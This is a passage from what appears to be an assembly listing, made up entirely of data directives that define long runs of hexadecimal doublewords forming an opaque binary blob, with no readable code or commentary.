973A9E48h, 8973E1F5h, 68B53800h, 0C0CCF35Bh dd 74F80C3Dh, 6F70D015h, 0E29A6E0Eh, 0B08CE0DFh, 244AAA79h dd 81D0E3ABh, 0BA8D383Bh, 0CC8EE09Bh, 8BA83700h, 5C9ED039h dd 0F17D0668h, 70E5DE02h, 272F0E00h, 5BE4784Ch, 8F5611AEh dd 2637163Ah, 0BD8A5800h, 0A808FB45h, 0B8168Ch, 3E476474h dd 0E5CF5EEAh, 35C995Ch, 0A048F7FFh, 0ABEC802Ch, 0EFA10067h dd 93178744h, 9405CD0Ch, 0AAF596C5h, 446C5822h, 867400F4h dd 0A3AC1EE5h, 4709045Fh, 80508E65h, 0FCB022C5h, 41BC06FBh dd 91F898A5h, 0A62ADB09h, 8CC820A4h, 60077D1Ch, 0C206E96Ch dd 3C00C498h, 90322A7Fh, 0AFFF14h, 3E6891A1h, 7DB5F5DDh dd 209D13Dh, 23A8C8E2h, 0DA060CEh, 7C7B38C4h, 0C1D85524h dd 46EFEC4Dh, 77CE8A8h, 964D46F2h, 81D4811Ch, 420CBFAh dd 0C5EC4Ch, 0C3ECA591h, 6F2537F8h, 876480h, 0D2CA2251h dd 0B97F446Eh, 39F21930h, 0B19C3Bh, 0C980A987h, 56E7702Ah dd 0D5819A1Eh, 0B50FCD03h, 0B125F08Dh, 1FD1006Ch, 4CB68710h dd 3000B927h, 6A2AACFEh, 0FC2BC07h, 0FAABF388h, 1CF58662h dd 0F4054C60h, 2CF4903h, 12325AF9h, 796479h, 0C1F5D370h dd 0D000991Ah, 188C0AA2h, 780BF3h, 2408F88Ah, 0C174E34Dh dd 0E8E5AB2Ah, 0A766EB09h, 68820E4h, 49828D87h, 59016CDCh dd 73EEC874h, 4331803Eh, 0A7577D52h, 1F609B75h, 97944003h dd 0DEAA010Dh, 184DF00Ch, 3B59C1h, 9933D3Eh, 45E0D905h dd 0F8B9CD01h, 7FC51F52h, 19C120h, 38DD62A7h, 9645C3C9h dd 0ABCCA52h, 8C543D13h, 905AB813h, 1BE04908h, 0A28E2822h dd 9BF00073h, 0D2FB3601h, 18607101h, 0EA2EB229h, 2E8F830h dd 1D883FDDh, 20E90594h, 6B20C045h, 0B3019CFAh, 47B08B48h dd 74C8784Ah, 3380082h, 0AE8A5EB7h, 451E726Fh, 0E0128E4Eh dd 0E99A1180h, 1D9F00F8h, 0EBDE6F0Eh, 8A07A8D3h, 99D0F51h dd 2C28B4C6h, 2474E156h, 0FB074214h, 0F80584Fh, 0F995862Eh dd 4C60598Ch, 49B00AC0h, 0D8A4962Bh, 0D27C0EFh, 54A2102h dd 1251C0BBh, 3607B468h, 50939002h, 0E0FDD76Eh, 9BB690h dd 0B457181Fh, 66353E9Dh, 96908B72h, 0D07E609Ah, 28BE963Eh dd 28995071h, 0FEA30887h, 0CE78B7C0h, 0B4855080h, 63A800E7h dd 0B2070F68h, 0BC906F09h, 87698305h, 9490408Ah, 0FCA6BE15h dd 4EDC13AFh, 0E930265Dh, 0AC01B8D3h, 9BCF9278h, 922994E8h dd 9A681648h, 348D004Dh, 0A3E56F43h, 6D00349Ah, 0C11BA19Dh dd 0A56A68h, 7F844C67h, 0EC3103F0h, 0D5717803h, 0F7075681h dd 9CD1A9C0h, 74243F90h, 0C0F05CF9h, 725F3880h, 300536D2h dd 0E6E89831h, 76928800h, 85BE63h, 0C72F4511h, 0B596E02Ch dd 0C110F300h, 4AF1E66Ah, 0F4F50364h, 35F80B14h, 831D2A8h dd 6B724h, 0A94B1100h, 9C6520Dh, 0CDC593F3h, 6634A480h dd 834F23Eh, 0E48010CCh, 0A89740A0h, 15872FF4h, 0EC770268h dd 0E45AC60Bh, 9AA72080h, 0C0281DFBh, 4CB80CE2h, 0C943C938h dd 0FD0D0034h, 0CB20FB81h, 0C6A50051h, 273D5499h, 290160CFh dd 0E90730F4h, 68204468h, 0FA4D25F8h, 54499880h, 3B007323h dd 6B8F3D92h, 14F640A4h, 34719B7Ah, 0C6CF47DFh, 0C2AD6158h dd 24807B61h, 948F121Ch, 9C82074h, 0AB995905h, 0BD100820h dd 46EC2CA7h, 702880B1h, 0E9CC5C09h, 14482762h, 2F049560h dd 0A0EE5C66h, 4F1EF8C1h, 0B6F741F2h, 23B0CC6Dh, 0C1048B16h dd 0EB7DAC00h, 3F3436h, 802E715Ch, 0BB532521h, 383DF428h dd 7020BC24h, 96F32E60h, 0CB8913FEh, 7440204Bh, 3C60B3C0h dd 7CC5EE91h, 1CE890CEh, 92730541h, 88544038h, 6A18EF4h dd 0DD432901h, 20E4FD3Ah, 3FD00570h, 0E4550EDBh, 2C481023h dd 0C307D44Ch, 60E24C9Bh, 0DDD31296h, 2ADC3Ch, 755CFAF2h dd 4C2ED1E6h, 582C1772h, 0C9A5E06Ch, 177D0BF6h, 0C005090h dd 0EF4963C2h, 0CFBB202h, 0DA1B64B5h, 0B826C551h, 0BA002CADh dd 3FF0C230h, 34A5597Bh, 0AFB73700h, 469FD4CDh, 97D80F09h dd 34A810C7h, 0BE1F013Ah, 4BF7200Bh, 38AC72DBh, 642D005Ah dd 0F9C9A7DCh, 0FDA01E69h, 49F1001Ah, 479A11BBh, 0B4364E0Ah dd 0EA00D0D1h, 81ADD683h, 82A20003h, 0DDBECAB7h, 5E16665Fh dd 802909E6h, 58D6B2C8h, 0DD068587h, 0C88F3BC7h, 14B17275h dd 326F705h, 13A6A488h, 9E5839h, 0AD8519C4h, 0E200A7F2h dd 0C33AAFE9h, 0BA01696h, 239F09C1h, 0C4CEA103h, 80D4CDE4h dd 2F302838h, 3977C6E8h, 1277CF73h, 0CD4617D4h, 0A5A44354h dd 88C839AAh, 0E70C5813h, 105FFBDAh, 836C16E5h, 14781630h dd 0EF0F38B0h, 1529239Ah, 28538877h, 24089625h, 14A415BDh dd 0AE009CADh, 0C9EB22D4h, 2EEE6EC8h, 151EC2F4h, 2FC48AA9h dd 14C4DD5Ah, 1C51FCCCh, 40B42460h, 9FB69523h, 1C73F134h dd 756DEB00h, 14A23879h, 0FA49801h, 6A1D0E63h, 6188FEC0h dd 440071E0h, 41F05682h, 489C7DB7h, 1C80B4D1h, 4C6C3BB4h dd 0ECDCF218h, 5CC39181h, 120E987Fh, 9649E189h, 9DC02868h dd 889454A4h, 0F886190Ah, 5E5D2083h, 0D892A504h, 6F6CE059h dd 60B6069Ch, 0D92C73E1h, 0FB29E21Eh, 5464C397h, 1F04848Eh dd 82664E52h, 0E84A7DA2h, 8CE1EC00h, 0DC0298EDh, 0D0395727h dd 0ECE88096h, 3DE46CABh, 70AE497Bh, 4FD11FE0h, 6421162Bh dd 6557B211h, 0F942064h, 0FCE89600h, 5A743F31h, 1A01000Ah dd 0BDE02DF3h, 0BF4B654Ah, 45A2C000h, 2E5AB6B0h, 3F2420E9h dd 6AD318F0h, 72B8E946h, 405F8824h, 1A206240h, 27E0CC3h dd 0F470599Eh, 5175A800h, 0BF522156h, 0E54100E8h, 72667E5Fh dd 29009F18h, 1EAFB6DBh, 0CD082Ah, 8C49C1D9h, 0FED07A78h dd 0B933BC03h, 89A41626h, 0D434F244h, 5A2E4CCh, 79467148h dd 0D48C07B9h, 5092570Fh, 0C98F104h, 2B8AB0Ch, 0E12EB817h dd 0DA1F2463h, 0F9A580AFh, 0FE0783E0h, 542D422Ch, 5FEEAE00h dd 0ED8B0A1h, 60301DADh, 514C0C60h, 6117AB1Eh, 3C10D208h dd 104D28h, 6603DB11h, 5C281618h, 0AA3E3C38h, 2D817CBAh dd 7705C1BDh, 9998576Dh, 8B3E4CE8h, 563D9609h, 452C10E4h dd 0C9210053h, 5238F598h, 7C60E50Ah, 0BBEB2E21h, 0CB70CA6h dd 0E678F0ADh, 5741BC00h, 0ED2C569Eh, 0AB8F16A0h, 0C3BC3034h dd 6D39BD86h, 7002ACC0h, 0E4847F92h, 1EBC8B0h, 62E304FAh dd 3D51FC87h, 8888D338h, 6A02049Fh, 0F634D068h, 43A854A0h dd 1964BE1Eh, 8AA55280h, 2C24EC94h, 2E8CCE57h, 0C3EB671Ch dd 2904960h, 745C19E5h, 0F469003Dh, 893B4B6Fh, 9E5D1D2Ch dd 0AA325E3Dh, 9E44A6BCh, 484AF250h, 94669029h, 308F520Fh dd 4D6442F2h, 88ACA047h, 0BA1E7A17h, 48F848DCh, 11A3FB09h dd 8B1D1800h, 644A907Bh dd 40FB2832h, 96A333Fh, 9E5F2CFAh, 0B214A848h, 78266C32h dd 0F14CC0Eh, 1AAA2B9Dh, 5BE1DA80h, 0BE003CA3h, 0C1525655h dd 0DF11A9h, 20DD5EA5h, 0C6D807E8h, 9FF0B100h, 0E26B196Fh dd 9448C1CDh, 73037173h, 5332C000h, 0A22E1C4Bh, 2B40D788h dd 15FE33FEh, 0B1F3A604h, 90C1AFF1h, 8C40DA5Ch, 0E1CFB5h dd 8650E3F4h, 21B8BB34h, 54D7E600h, 81C0B087h, 2D6D01B3h dd 70A529B7h, 73198019h, 82B612C4h, 20095DA3h, 849B2400h dd 0C1E2DCE5h, 0C096B229h, 20A4E70Bh, 2AA71138h, 0FD6D0FDBh dd 86E0E346h, 6547AA82h, 53D4D3Ah, 9B47919h, 2E0EC040h dd 55A9F2h, 0F5990AB3h, 22973461h, 382F9826h, 0C3CF2D00h dd 5D127F6h, 0C27FF1E7h, 0E5848776h, 0F56C8431h, 6D8210Ch dd 2FF018ECh, 0FC5C130Ah, 5404AC03h, 43831EB1h, 72A2C0AEh dd 0EE6E0457h, 0A00DA895h, 8179BF4h, 3410B4CFh, 0C849A0h dd 0C266DED3h, 5502DAFh, 27A0A3AEh, 885C040Fh, 72809854h dd 93302DE9h, 498D8892h, 0B428965Ch, 8021CEC4h, 0F0ABEE40h dd 0ECBAB372h, 80D82858h, 0EF996F3h, 817C05FDh, 0C58655FAh dd 0C520B3A4h, 8C8070CAh, 757A8093h, 6B6D00B3h, 5CDCAE5Eh dd 49B86A0Eh, 0BD972B00h, 94092D07h, 1E6CB295h, 9F8243B7h dd 788980A7h, 57C6A633h, 0C4CF0A24h, 4090D88Fh, 0DA07C3E3h dd 733D7809h, 957D05F8h, 8027E944h, 102F0FA0h, 0B9E10703h dd 0E87A9C0Eh, 7C4AB8ADh, 0BDBFE1Ah, 0C13B9142h, 0AE0D18A0h dd 0CF3B8ED6h, 46070024h, 0E7C27D5Fh, 2D4E0AA5h, 0A9A92Fh dd 2F0BB18h, 175DE1DEh, 0D0B20120h, 0F54F33ACh, 0C06DE825h dd 51325C54h, 9C51EE30h, 9CDD62BEh, 4EBD3870h, 5F381323h dd 18C88080h, 0ABBAEDAEh, 55E7925h, 30905830h, 0EFD0449h dd 3DC9610Ah, 0A8D5F881h, 0FFD3604Eh, 1A92B3Eh, 9318C58Ch dd 0F0807A71h, 5B8E9799h, 0CE3EFD7Ch, 400079FCh, 3FF07F16h dd 0A0BD4BEDh, 0EC2E98h, 5F198397h, 473A58CEh, 0EDEFFA00h dd 6B95A2AEh, 0B09A3Eh, 487D6932h, 5F93A7FCh, 60BC58BCh dd 7F99A261h, 75B16B6h, 0F8A400BCh, 0FBD4A717h, 0F74EDF02h dd 43BDC65Ah, 9BE00074h, 0BBC78294h, 5698854Fh, 0B6E5BE09h dd 54650Bh, 0CB213AC7h, 4F904291h, 44458807h, 20A91959h dd 1CFE1310h, 0F9C80B9Eh, 0B6816F34h, 68B7CD62h, 0B9248768h dd 69A48BC9h, 0E8244D1Ch, 71F92802h, 0AF1D00C4h, 55ABFB2Eh dd 67B03254h, 9300E492h, 2740166Fh, 837D35h, 195CF0AAh dd 6BECFDA9h, 114C5604h, 0E48C0422h, 2C7D586Fh, 8868B20Ch dd 2C7AEA49h, 0C4132202h, 0C8787473h, 989B6C90h, 1DD4B58h dd 27F18DF8h, 0E4DFCDEh, 0A1D1E828h, 0A9F31400h, 75195E49h dd 2F2E0C1h, 0FB5A2B2h, 98900EB4h, 2200A666h, 0FD29D061h dd 0C11C91DBh, 0ECF53C81h, 0DF9C50EFh, 6D12C5F1h, 40A28745h dd 55B1CE80h, 3D00FCAEh, 0CF1C373Fh, 1391BD9h, 7CB048Ah dd 654B9D2Ah, 99B0FCA0h, 0AC6D2C3Ah, 7E8FD0A5h, 2053C4A3h dd 862ED090h, 7F2F7DE9h, 0D7845CEBh, 2674F272h, 16B0AEEEh dd 0CB4C8096h, 1128099Ch, 3C05EF06h, 6F20D577h, 9878D489h dd 0B2A083C7h, 4C68419Fh, 50BCFBEh, 0A27E3Ch, 1DA106D4h dd 9EB61D1Eh, 5A4E47B3h, 59F0C7ECh, 2ADA8403h, 0F0FB04E1h dd 0DF051A8Bh, 81CD5C0Eh, 947FFCC1h, 0C2C44D21h, 0A85F7664h dd 0C0FF44h, 33505DCEh, 0CD9A0E7Ch, 5BC037F1h, 0E02D7813h dd 0A901F428h, 0CA7086D1h, 5C282C98h, 9433D1Ch, 0A00BBCC7h dd 0B14D2A6Ch, 5A9F0083h, 0A36AB845h, 660C7C6Bh, 6115AF07h dd 28F30F2Fh, 6806F0Bh, 0D3B999CDh, 7FAC5106h, 4A78D008h dd 8048C9B0h, 0E5456B70h, 791E0FB7h, 503B286Ah, 6084B1C4h dd 1AB41E30h, 0E953EB1Eh, 1C5B4C04h, 2E00B0E3h, 0E82C0403h dd 3F39E336h, 6BD90A83h, 0C60ECC4Dh, 2C3700FDh, 1E45C64h dd 0FEB45F4Eh, 68B5B028h, 80775F54h, 0BD8D29F0h db 66h, 7Bh, 1Ch db 2 dd 82BE8439h, 0B46452FBh, 0C09B6A03h, 98641E9Ch, 34B7E1Dh dd 0DCE6F730h, 4839B485h, 50DB0B48h, 0CA348077h, 16CF8261h dd 12B4E44Ch, 1E8403C3h, 79008A58h, 0DEE999F0h, 5D46265h dd 84878B9Eh, 79F89907h, 0B50F05A4h, 0E8C87CCAh, 1EA50538h dd 90DCABBBh, 0E55AB670h, 0AF00609Ch, 5F63D8DBh, 2820B9E4h dd 0B828B2A0h, 0C060D248h, 7CAE290h, 0DDC67900h, 9D2EA865h dd 0C18A00FDh, 0DB70CB5Ch, 3C925D8Eh, 8B740707h, 3E501376h dd 2520F09Ch, 30C05CD9h, 6600FEE0h, 418D3F89h, 0E7FD2A16h dd 0C8B58428h, 0F401AA74h, 0C143A290h, 382CFFh, 4738605Bh dd 0FAEEF67Eh, 521325h, 0D7161F5Ch, 9E1CB007h, 5B82600h dd 44EFA1D4h, 0B3FEE738h, 18304F14h, 227B7h, 81F096A3h dd 2DC6CD98h, 4F86AE00h, 7604A969h, 0CFEB0EDAh, 0EC004ADDh dd 8072D99Ah, 7739073Dh, 0BD283350h, 0C449F42Ch, 0A859B782h dd 18C6099Dh, 5E0B6300h, 68C11765h, 0BC94790Ch, 9C0F445Ch dd 4E7A04DCh, 7C00A89Ah, 2AD95AEh, 0B09D2608h, 0A474B660h dd 4EA380DCh, 3480D848h, 1154CF00h, 3CE23E05h, 88164ABAh dd 94B5AD8h, 9C3D7C89h, 0E4F8C300h, 4D169738h, 3F9A0413h dd 3BAD5800h, 5B145B8Fh, 6600A52h, 0FE6E40B8h, 55027EA5h dd 224F873h, 919C51CBh, 0C42A04A0h, 0F8A027ECh, 1AD20C59h dd 8B1166D0h, 0A942A31Eh, 196776C0h, 0A4977E28h, 5CA670h dd 0CB61DCE9h, 0D4245272h, 0D005ED00h, 10F6971Fh, 0EAF4F26h dd 61417188h, 3C2235EAh, 0A4D04C84h, 667B00D0h, 0F0334835h dd 5DE06917h, 27D82AD8h, 5098B730h, 0C1006E46h, 0E52E091Fh dd 5D735494h, 1400C861h, 7CC30AF6h, 0E32A695Dh, 0CF09DCB5h dd 6C2F8394h, 0CAA500F8h, 7F14249Fh, 191FE4CCh, 3CC1A64Dh dd 0F998B20Dh, 725FA080h, 0A8D28131h, 20297106h, 0D0589Bh dd 0B350C6B8h, 0C33457EEh, 56E06309h, 0BA6800C9h, 0A9D04Eh dd 401CA76Fh, 0D8399661h, 65245576h, 501C71Ah, 0FEA86F38h dd 488F8824h, 0ECC4543Bh, 1894C8F0h, 0B0DCAF25h, 4DCDC684h dd 0CA4AC854h, 7D298EDCh, 0EFC94984h, 387D1C90h, 0E0B5004Ah dd 483F2697h, 0AE0298F4h, 0F9B41B8Ah, 340062D6h, 0D6448CDCh dd 82D801C0h, 0C9CCD526h, 0E591C536h, 1F82C73h, 0EA44BAFh dd 10818077h, 0B9228269h, 6CC87409h, 2C566704h, 0E0954440h dd 7AF7680h, 0F37A3Ch, 6A1422C4h, 53FDF7B0h, 50094B0h dd 24A65432h, 61F3Bh, 5B218FB5h, 8599E6DAh, 1AF7CF25h dd 0AC50C05Ch, 423A3964h, 1B922880h, 0CB8A638Bh, 43604BFAh dd 0C0C8E978h, 7CBC54ACh, 0BECA393Bh, 356C024Fh, 60FDE3B9h dd 92772812h, 0E66A0128h, 0E147415Ch, 284A7173h, 0AF9400B4h dd 87233932h, 465A057Dh, 0A6BF7204h, 59302BCh, 5E023134h dd 0A2CD410Ch, 3D882133h, 0F0F84000h, 0D902AAE0h, 4D01B1D5h dd 0FC5058h, 343BA886h, 4AEA1936h, 283A8029h, 0BA94944Bh dd 18C89864h, 3182868Eh, 0BB1E3D4Dh, 1F01F025h, 7D6DF9C2h dd 0D88142FDh, 1B7A400Fh, 5E84079h, 0F100E38Eh, 32898F14h dd 3C26547h, 24C4AA07h, 9BF80E76h, 913031BAh, 4D3C404Fh dd 0A6DC24F2h, 0EDB000A4h, 0FFAB7D57h, 0F960460Bh, 0E2502035h dd 72747Ah, 88940E25h, 32A7FC51h, 903BA224h, 94FA74A1h dd 3B730060h, 2593DB94h, 0A0C0DA5Ch, 70D77141h, 60FB1D37h dd 0E7B1003Fh, 0B5B83DF9h, 18BE207h, 0F10012EAh, 0EE6D1F69h dd 0CB3600F5h, 0D28FCFB4h, 8A24164Ah, 32014E62h, 4B330DEEh dd 58C96E4h, 2EFD38A4h, 0A003FB2Ah, 0B8181608h, 0DC6F3Bh dd 349F3DBh, 47CF24BDh, 0F1F79200h, 9099E141h, 12911DADh dd 0F3F2408Eh, 0CED085F9h, 73B16200h, 199EA963h, 0B50C00F1h dd 0B9281E7h, 0E11DEDFCh, 0C201D240h, 0A8C76F74h, 149D288Eh dd 925380FDh, 3EA358BEh, 7EF8AF03h, 98A25BE7h, 0E0A147B6h dd 0EAB53060h, 5957B499h, 8A00D775h, 0A7DE1C44h, 0A08FB6Fh dd 9425CE43h, 839D3BD5h, 26FF8012h, 0DAE9DC76h, 94E2200h dd 69A7CD85h, 52D607EDh, 8C75BC80h, 6D004290h, 12A87D58h dd 73011DCh, 0B20A33A4h, 0F31C035h, 6100AD16h, 5FDAD989h dd 0FA76AA63h, 1142018Eh, 0C87E03E5h, 68A84082h, 0ED005D5Eh dd 0AE8449DCh, 0E2F9213Ch, 0EC301522h, 2C803C6Fh, 0B083E88Bh dd 9D52A503h, 0E896C295h, 1CFB96Eh, 3186CDCEh, 509BA3B8h dd 0FA77D084h, 2C1CF603h, 0E755639Eh, 0C04BADA3h, 17F5E9E6h dd 0D6FDE3h, 0EEF60AC7h, 1A003AE1h, 38A70D1Fh, 457621h dd 39ECCE8Bh, 8A699240h, 0CDEA3001h, 625A6474h, 0F11840FEh dd 3C321556h, 0FC3DDCF4h, 600196Ah, 92920FE7h, 7BA69801h dd 0B61FEBBh, 0D00A9440h, 0F1C60254h, 0B069B2F6h, 84CF0440h dd 20416300h, 15A5CE33h, 0E02A0059h, 0BC739B67h, 64007836h dd 0D74FAACAh, 21CA48Dh, 38FB9AD9h, 74408AC9h, 0EAEE77B8h dd 10F1A700h, 0CD48CA55h, 6116FC12h, 0B6D2A197h, 98A9C63Fh dd 0DDC1300h, 0D548BE7Bh, 1800792Ch, 8C5C2B30h, 0C2EFF6F4h dd 522083E8h, 0B9348445h, 0B318C442h, 0CBA040FCh, 603600BBh dd 49D20556h, 692A17A8h, 7B0394C5h, 388150E8h, 8828E8E3h dd 0F6CF00A4h, 9EFDE1EAh, 0D500FF14h, 34C3E6Ah, 10D137h dd 0B7F41638h, 7C9E062Ch, 0ACC55F00h, 0EC34E361h, 8289CEE1h dd 5CF76661h, 5C44213Ch, 1BEC3628h, 0B89D5B00h, 0CDCFD069h dd 0B88764CCh, 8C8E0Fh, 5CF42F19h, 531CDDCFh, 154CB4A9h dd 49D32800h, 702B9423h, 346F9200h, 0D22E5129h, 794B046Eh dd 80241135h, 0C4618290h, 0A5542D75h, 40F24AA0h, 0F07081F9h dd 52489943h, 0FA209C21h, 0EE989264h, 664D146Ah, 0E0B0C062h dd 1419CCE8h, 15E0AA7Ch, 240CCAD0h, 87A8FC73h, 498FF58Ch dd 2400B009h, 3EAC49C8h, 78EEE635h, 0C6482980h, 3082F223h dd 0AC486E57h, 3B00FF5Fh, 25AA4781h, 1D46782Ah, 7DE719Fh dd 79BA08A8h, 2A9D7C30h, 8375A6B0h, 0B31F5803h, 7FEB17AEh dd 697B0080h, 0FD1340A6h, 0B3E21C52h, 5C984702h, 40414FA7h dd 31F4D889h, 6A5073DDh, 2DE9C087h, 0E43A3D28h, 0C8E53326h dd 371001BDh, 9B3B18B9h, 24AD8180h, 3DFBC0B3h, 0F2762B90h dd 2071A300h, 864BBAB0h, 52C10089h, 4375D6DAh, 173E0B1Ah dd 249B870Dh, 0B012853Dh, 190C6013h, 0A244242Ah, 1C508E04h dd 8ABF1E80h, 0E2014C77h, 81CE0CFAh, 782483D1h, 3845188Bh dd 0D5EDA196h, 412431EAh, 5D00D8D2h, 43BC8E2Ch, 0BE6C0005h dd 827C6F47h, 4D09EF64h, 81A8C08Ah, 834EBA60h, 587380E0h dd 0DF2238B7h, 0BB68B907h, 4E709E6Dh, 0E2712C4Dh, 0CFDC296Bh dd 0DA9244h, 733C3A53h, 47789306h, 0D7028C90h, 6CA5AF1Eh dd 628DC024h, 0CEC9080h, 0C047A76Bh, 0B27B4B81h, 0A00036FAh dd 487267A8h, 2AF7E95Eh, 9885D55h, 32FDF34Dh, 640FA820h dd 80CF8C7Bh, 0A9585FBAh, 60ACBEF8h, 878A10BBh, 68026D99h dd 76AFDA0Fh, 0EE4407Ah, 40D0AA7Bh, 0B0480638h, 38CF03D6h dd 0FE35E64Dh, 3197DD0h, 3D781A04h, 6080870Dh, 3F15075Bh dd 6004FABFh, 0C99C8820h, 0E848CEFCh, 2200AC0Bh, 62BEC6B1h dd 609FA771h, 190468DBh, 17005C2Ch, 261BAADDh, 152EF98Bh dd 0E03358E4h, 2F88E03h, 0F024FEA4h, 806CA89Ah, 8B9C0E4Dh dd 0DAC0CFA6h, 4BC9AAA5h, 403658h, 2B5FD43Fh, 0B7C10Ch dd 0DEBA7810h, 0CE514662h dd 271945ECh, 4869F606h, 0A8E741FCh, 15F41780h, 0B47D1B11h dd 181D5300h, 6120FB5Fh, 49D83A3Eh, 6C510184h, 9BC0D2F0h dd 0CF01FC32h, 0ED176ADFh, 3A2F80Fh, 40E840Fh, 194DA4E8h dd 380C886h, 9840A780h, 69001292h, 2FEC9A0Ah, 1145A0Fh dd 8DBDC273h, 9CEA362Eh, 25008AA9h, 0FE3B7E65h, 0F66F293h dd 914F6760h, 0C3C05E12h, 0A21ADC2Eh, 0BDEB900Fh, 4F3BC3F2h dd 6AA7A86Fh, 2FCD0382h, 39CE48E9h, 0E1FE8085h, 4D1D5291h dd 0F202D5E8h, 60C1B4C5h, 2418992Bh, 4AB41E4Eh, 5C471550h dd 5302E080h, 59713764h, 5F006CA6h, 63906A66h, 2C22068h dd 5431DFE0h, 84CBB296h, 61EE8D91h, 8B54606Ch, 0AD450E05h dd 0FC80C26Bh, 0DA3E49h, 4F354C9Eh, 4432552Dh, 6AB86053h dd 4100F09Ch, 4E506EA8h, 0D8E132Eh, 0C6F40F8Fh, 0D30034F5h dd 663ABFA4h, 4700FC09h, 0AA59B830h, 1F8A3592h, 4D1DEEE3h dd 44619BF2h, 0FBC4C8A8h, 7E671678h, 15E054D9h, 9D5E5Fh dd 55939CD9h, 0B9D5F219h, 0B70044F8h, 0E3856623h, 4C1BA070h dd 120200A1h, 727C5B5h, 4D9AD140h, 0E6520200h, 6DE3BE75h dd 92BBE0F8h, 99ACB010h, 0A6BC208Ch, 99DE0050h, 0E29B5F90h dd 0B6927E8h, 749481C8h, 18248733h, 4EC0BBAh, 20A81Ah dd 0D127E0F9h, 7C003A73h, 7381011Fh, 0EC11CC58h, 4209082h dd 71C5AB16h, 0C0B4846Ch, 0F8915574h, 678BBA00h, 0A7686432h dd 0DCF052F3h, 58A0145Ch, 172C8626h, 5D604CFEh, 9A936BF7h dd 0AA553E10h, 17A947B0h, 952E4AAFh, 569A0B7h, 785FA594h dd 0DB5D4047h, 0CE416057h, 0ADC00C01h, 5068520Eh, 0ACBB3900h dd 1365CA75h, 0A8A0C730h, 1AAF831h, 76896F6Ah, 0C6D1583Ah dd 59CA2C68h, 22B0B551h, 3BBD4C9Ch, 9415805Eh, 7B3EC547h dd 0E08E580Fh, 0C0E5C41Dh, 0D75234B7h, 3D0EF646h, 0C2D9A02Ah dd 5B36ED5Ah, 0A980E58h, 3A4C0CA0h, 80ABD6A9h, 615D53D9h dd 0E2304026h, 4B77A634h, 80F8A400h, 54118EEFh, 6B2D2EDBh dd 95218028h, 1A728A88h, 0C2CE001h, 0BEF1E316h, 0E0DBCC70h dd 384100B8h, 80671DCFh, 0D8FE48B9h, 0C76CDA00h, 0F21B3A13h dd 4438C030h, 149F2F01h, 959311CAh, 0E5EB6401h, 709E1766h dd 0BA3E80E8h, 0E791E4B8h, 59DD7200h, 0B216761Ch, 9EA0755h dd 80EB7379h, 83CE6027h, 0B661D300h, 14D99A37h, 3BFB00DBh dd 0B1028F39h, 0DC0E131Ch, 24C70710h, 2480650Ch, 1FABECh dd 61ED2788h, 0CB5C836Ch, 71946B00h, 0CEFD792Eh, 7F7C001Eh dd 30AF20E2h, 0DA005724h, 0D562646Eh, 0F28BBBAh, 0AE9B7654h dd 1D558F1Fh, 0F535A500h, 6E061A73h, 800BFD6Bh, 863C5018h dd 21271D7Ch, 891C0016h, 0FF10DFD0h, 0CAA39830h, 763383B3h dd 3EDD0191h, 8509A92Eh, 507CD574h, 25ABD980h, 16A0A01h dd 8DF15C77h, 1CFA2081h, 0BE7F4B61h, 33D78029h, 4EE8D8BDh dd 0C0813327h, 21036008h, 4B33ECC1h, 97BBE005h, 799D0053h dd 99930367h, 0D19069FCh, 8FB15A14h, 7C770330h, 0C0182DC9h dd 1BA5CF7h, 0D8E9B319h, 0FC4FF9F3h, 74003802h, 2F78B83Ch dd 77D432h, 0E2C35EDEh, 4DC619A7h, 211D3002h, 403B2D0Ah dd 0F0F79Ch, 0F9A8E2F8h, 49693659h, 0E5034E90h, 0A4E9AC1Ah dd 4E05E9FBh, 2E4DCh, 0D6161C4Bh, 444C6847h, 0FBA842C0h dd 0F70A676h, 27227A95h, 0E6D38983h, 9065ACF0h, 0B8A15138h dd 0E01C1D5Ch, 9DD3100h, 32E47E5Eh, 4311415Bh, 0EE1804B6h dd 0A910EBE8h, 2F7C61h, 0E4BE0A89h, 42605818h, 41C3CC00h dd 103C2CEEh, 7AA818B8h, 0E1022929h, 89D15688h, 446108C0h dd 0E244E6E5h, 0C22420ABh, 223F3422h, 2A45E104h, 0D7E935C1h dd 1A20D4h, 13B8779Ch, 4511CD8Ah, 2C61D600h, 9B3D183Eh dd 93A600C6h, 24DE744Dh, 0AF00F2E9h, 0A729DD7Dh, 0BC6395h dd 53DB0ED0h, 0B8E54105h, 67A12200h, 0B584CAFDh, 1C680007h dd 0A2582AC1h, 0FF737944h, 8C40B00h, 0AD667678h, 0E8FC0024h dd 8C26F505h, 8000ECF7h, 0A443644Ch, 618C1D0h, 0D7BE4A90h dd 0C90010A2h, 87DBAE65h, 2A1D42E7h, 0EB8A7E5h, 3E533832h dd 8CDFA00h, 0E2056CA4h, 6833EBC6h, 7918A301h, 48BBFD92h dd 0C55E058Fh, 0C7FE11F8h, 34EA2003h, 0F21D4384h, 46E8908Eh dd 0ECBC50EEh, 55A200C3h, 0A8B120FFh, 0F901B726h, 850BD2D0h dd 0DEFC95DBh, 952C4C0Ah, 0DC900F00h, 88C48DE4h, 29FDE62Eh dd 74971030h, 78590FA5h, 3E9D4AF8h, 11809880h, 0C3082FE5h dd 497A900h, 0ECA6A160h, 0FA2402CEh, 0FC25F156h, 0B12C4048h dd 53877A00h, 0C839E143h, 0B27F48Dh, 25A27E61h, 911D4000h dd 8877DB8Ah, 0ADE9B50Ch, 442854h, 924A30AAh, 0A5A4C17Dh dd 0A1EEC304h, 0FBC0AD8Bh, 615C5Dh, 417D108Dh, 29B13A71h dd 97FFE603h, 0A0F3EEA4h, 178C6ACh, 0F153A2FDh, 8044355Bh dd 0A52E3A98h, 15FA34Fh, 0E74AA85Ch, 0C8DEF3E8h, 0DD008E69h dd 0A0EB33FAh, 0C0A4A6h, 3F8BD1BDh, 0DE91B43Bh, 50CEBB00h dd 3395D7A7h, 7E093B63h, 0A43F8600h, 0D3E489FEh, 3AACD402h dd 0E03692C1h, 0F2BD062h, 0BC459006h, 82C7AAE0h, 41246018h dd 10099C2h, 0D1E2E8B4h, 931339C1h, 0EF56EA83h, 0BEE060D7h dd 0CC05EB12h, 3915ED19h, 0F5825800h, 758F7Bh, 60A181DDh dd 4CB97E54h, 0B8FF3F00h, 7DE1179Fh, 0C3790030h, 0FC032F8Eh dd 0B00F14Eh, 72985462h, 181CDDCh, 6DE93A17h, 20BEF26Eh dd 3D004424h, 0CBB2D652h, 37A0AF8h, 0D8E57F4Ch, 0A4907339h dd 0AE0FFCE7h, 0C00FF02Bh, 5A17BC98h, 44780063h, 13AD5226h dd 46009A4Eh, 0A89D358Fh, 0C02921h, 20AB58C6h, 